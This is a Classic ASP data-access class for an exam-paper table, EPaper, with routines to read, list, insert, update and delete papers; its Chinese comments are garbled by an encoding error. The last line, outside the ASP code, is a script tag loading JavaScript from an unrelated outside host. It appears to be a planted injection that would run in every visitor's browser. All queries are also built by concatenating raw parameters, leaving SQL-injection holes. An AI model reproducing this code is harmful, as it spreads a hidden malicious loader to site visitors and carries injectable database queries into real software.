<%
  '本類用于保存對(duì)表EPaper的數(shù)據(jù)庫訪問操作
  '表的每個(gè)字段對(duì)應(yīng)類的一個(gè)成員變量
  Class EPaper
    Public PId    '試卷編號(hào)
    Public PName     '試卷名稱
	Public LId      '課程編號(hào)
	public CreateTime    '創(chuàng)建時(shí)間
	Public flag     '0-創(chuàng)建；1-發(fā)布
    Public rs       '結(jié)果集
    Private strSql  'SQL語句
    '讀取單個(gè)試卷信息
    public sub GetPaperInfo(PId)
      '創(chuàng)建Recordset對(duì)象，處理查詢結(jié)果集
      Set rs=Server.CreateObject("ADODB.Recordset")
      '設(shè)置rs的ActiveConnection屬性，綁定到連接
      Set rs.ActiveConnection = Conn
      '設(shè)置游標(biāo)類型
      rs.CursorType = 3
      '設(shè)置查詢的SELECT語句
      sql = "SELECT * FROM EPaper WHERE PId=" & PId
      '打開記錄集
      rs.Open sql
    end sub
	'獲取所有已發(fā)布的試卷信息
    public sub GetPubPaper()
	  '創(chuàng)建Recordset對(duì)象，處理查詢結(jié)果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '設(shè)置rs的ActiveConnection屬性，綁定到連接
	  Set rs.ActiveConnection = Conn
	  '設(shè)置游標(biāo)類型
	  rs.CursorType = 3
	  '設(shè)置查詢的SELECT語句
	  sql = "SELECT * FROM EPaper Where Flag=1 Order By PId"
	  '打開記錄集
	  rs.Open sql
    End Sub
	
	'獲取所有試卷信息
    public sub GetPaperlist(lid)
	  '創(chuàng)建Recordset對(duì)象，處理查詢結(jié)果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '設(shè)置rs的ActiveConnection屬性，綁定到連接
	  Set rs.ActiveConnection = Conn
	  '設(shè)置游標(biāo)類型
	  rs.CursorType = 3
	  '設(shè)置查詢的SELECT語句
	  If lid=0 Then
 	    sql = "SELECT * FROM EPaper Order By PId"
	  Else
	    sql = "SELECT * FROM EPaper Where LId="&lid&" Order By PId"
	  End If
	  '打開記錄集
	  rs.Open sql
    End Sub

	'插入試卷信息
    Public Sub InsertPaper()
      strSql = "Insert Into EPaper Values('" & PName & "'," & LId & ",'" & CreateTime & "')"
      conn.Execute(strSql)
    End Sub
	'修改試卷信息
    Public Sub UpdatePaper()
      strSql = "Update EPaper Set PName='" & PName & "' Where PId=" & PId
      conn.Execute(strSql)
    End Sub
	'修改試卷狀態(tài)
    Public Sub UpdateFlag(pid)
      strSql = "Update EPaper Set Flag=1 Where PId=" & pid
      conn.Execute(strSql)
    End Sub
	'刪除試卷信息
    Public Sub DeletePaper(pid)
      strSql = "DELETE FROM EPaper WHERE PId=" & pid
      conn.Execute(strSql)
    End Sub

	'判斷指定的試卷名稱是否存在
	Public Function HaveName(pname)
	  strSql = "Select * From EPaper Where PName='" & pname & "'"
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If rs.EOF Then
            exist = False
	  Else
            exist = True
	  End If
          HaveName = exist
	End Function
	'讀取試卷最新編號(hào)
	Public Function GetMaxId()
	  strSql = "Select Max(PId) as mds From EPaper"
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
      GetMaxId = rs("mds")
	End Function
  End Class
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>